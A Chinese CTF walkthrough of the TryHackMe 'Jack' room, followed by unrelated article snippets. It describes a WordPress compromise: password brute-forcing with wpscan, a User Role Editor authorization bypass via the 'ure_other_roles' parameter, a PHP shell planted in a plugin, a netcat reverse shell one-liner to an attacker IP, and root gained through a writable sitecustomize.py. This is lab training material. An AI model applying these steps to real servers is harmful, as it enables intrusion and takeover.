TryHackMe-Jack(boot2root)

news/2024/11/26 5:31:37/

Jack

破坏运行Wordpress的Web服务器,获得低特权用户,并使用Python模块将您的权限升级到root。


端口扫描

循例nmap

在这里插入图片描述

web枚举

在这里插入图片描述

robots.txt

在这里插入图片描述

wpscan枚举user

在这里插入图片描述

wpscan直接爆

在这里插入图片描述

得到wendy的密码

在这里插入图片描述

直接登后台

在这里插入图片描述

根据题目提示,利用user role editor帮助我们在wp中提权到admin

根据exploitdb给出的desc

v4.25 之前的 WordPress User Role Editor 插件缺少授权检查其更新用户配置文件功能(“更新”功能,包含在“class-user-other-roles.php”模块中)。而不是验证当前用户是否有权编辑其他用户的配置文件(“edit_users”WP 功能),易受攻击的函数验证是否当前用户有权编辑指定的用户(“edit_user”WP 函数)提供的用户 ID(“user_id”变量/HTTP POST 参数)。 由于提供user id 是当前用户的 id,这个检查总是被绕过(即当前始终允许用户修改其配置文件)。此漏洞允许经过身份验证的用户添加任意用户角色编辑器通过“ure_other_roles”参数在其配置文件中指定角色对“profile.php”模块的 HTTP POST 请求(在“更新配置文件”被启用时发出)点击)。默认情况下,此模块授予指定的 WP 用户所有管理权限,存在于用户角色编辑器插件的上下文中。

进到profile editor,然后update

在这里插入图片描述

wp抓包添加ure_other_roles参数,放行

在这里插入图片描述

成功提权

在这里插入图片描述

直接往页面写一句话行不通

在这里插入图片描述

利用插件编辑器,随便编辑个插件

在这里插入图片描述

访问编辑的php文件:

http://jack.thm/wp-content/plugins/akismet/index.php

在这里插入图片描述

reverse shell payload

mkfifo /tmp/f1;nc 10.14.39.48 8888 < /tmp/f1 | /bin/bash > /tmp/f1

在这里插入图片描述

user flag

在这里插入图片描述

横向移动

在这里插入图片描述

备份文件,那么应该查看/var/backups

在这里插入图片描述

有一个ssh私钥,估计是jack的

下到攻击机尝试利用,没密码,成功进来

在这里插入图片描述

权限提升

查找用户可写的文件

在这里插入图片描述

sitecustomize.py是一个会在python运行的时候自动执行,我们查看了定时任务,并没有

那么有可能在进程列表中给出答案,传个pspy过去

在这里插入图片描述

定时执行python,这刚好满足了条件,编辑sitecustomize.py

在这里插入图片描述

静等一会

在这里插入图片描述

利用

在这里插入图片描述

getroot


http://www.ppmy.cn/news/49714.html

相关文章

第三十四章 配置镜像 - 在镜像中激活日志加密

文章目录 第三十四章 配置镜像 - 在镜像中激活日志加密在镜像中激活日志加密 第三十四章 配置镜像 - 在镜像中激活日志加密 在镜像中激活日志加密 在镜像成员上激活日志加密时&#xff0c;请记住三个重要的注意事项&#xff1a; 不能在故障转移成员和 DR 异步上激活日志文件加…

月获2万份简历,硕士占比超70%!中欧基金如何破圈打造雇主品牌?

成立于2006年的中欧基金&#xff0c;作为国内首批实现员工持股的基金公司&#xff0c;坚持以人为本&#xff0c;相信优秀的业绩要靠优秀的人才来创造。 因此&#xff0c;中欧基金在完善公司治理机制基础上&#xff0c;实现不仅有敢打硬仗能打胜仗的将才&#xff0c;还有更多不…

3、Typescript中补充的六个类型

1、元组 元组可以看做是数组的拓展&#xff0c;它表示已知元素数量和类型的数组。确切地说&#xff0c;是已知数组中每一个位置上的元素的 类型&#xff0c;来看例子&#xff1a; let tuple: [string, number, boolean]; tuple ["a", 2, false]; tuple [2, "…

PDD滑块分析

文章目录 1.流程分析2.关键点分析3.结果展示 声明&#xff1a;本文只作学习研究&#xff0c;禁止用于非法用途&#xff0c;否则后果自负&#xff0c;如有侵权&#xff0c;请告知删除&#xff0c;谢谢&#xff01; 欢迎大佬加群一起交流哇&#xff08; Q群&#xff1a;985475126…

ROS——Teb算法的优化

一、简介 “TEB”全称Time Elastic Band&#xff08;时间弹性带&#xff09;Local Planner&#xff0c;该方法针对全局路径规划器生成的初始轨迹进行后续修正(modification)&#xff0c;从而优化机器人的运动轨迹&#xff0c;属于局部路径规划。 关于eletic band&#xff08;橡…

MyBatis详解(2)

8、自定义映射resultMap 8.1、resultMap处理字段和属性的映射关系 若字段名和实体类中的属性名不一致&#xff0c;则可以通过resultMap设置自定义映射 <!--resultMap&#xff1a;设置自定义映射属性&#xff1a;id&#xff1a;表示自定义映射的唯一标识type&#xff1a;查询…

DAX:概述ALL函数

简单的说&#xff0c;当ALL用作表函数时&#xff0c;忽略应用到表上的任何过滤器&#xff0c;并返回数据表&#xff1b;当ALL用作CALCULATE和CALCULATETABLE函数中修饰器时&#xff0c;ALL函数从扩展表中移除已经应用的过滤上下文。 注意自动存在(auto-eixist)对ALL()函数的影响…

ElasticSearch——详细看看ES集群的启动流程

参考&#xff1a;一起看看ES集群的启动流程 本文主要从流程上介绍整个集群是如何启动的&#xff0c;集群状态如何从Red变成Green&#xff0c;然后分析其他模块的流程。 这里的集群启动过程指集群完全重启时的启动过程&#xff0c;期间要经历选举主节点、主分片、数据恢复等重…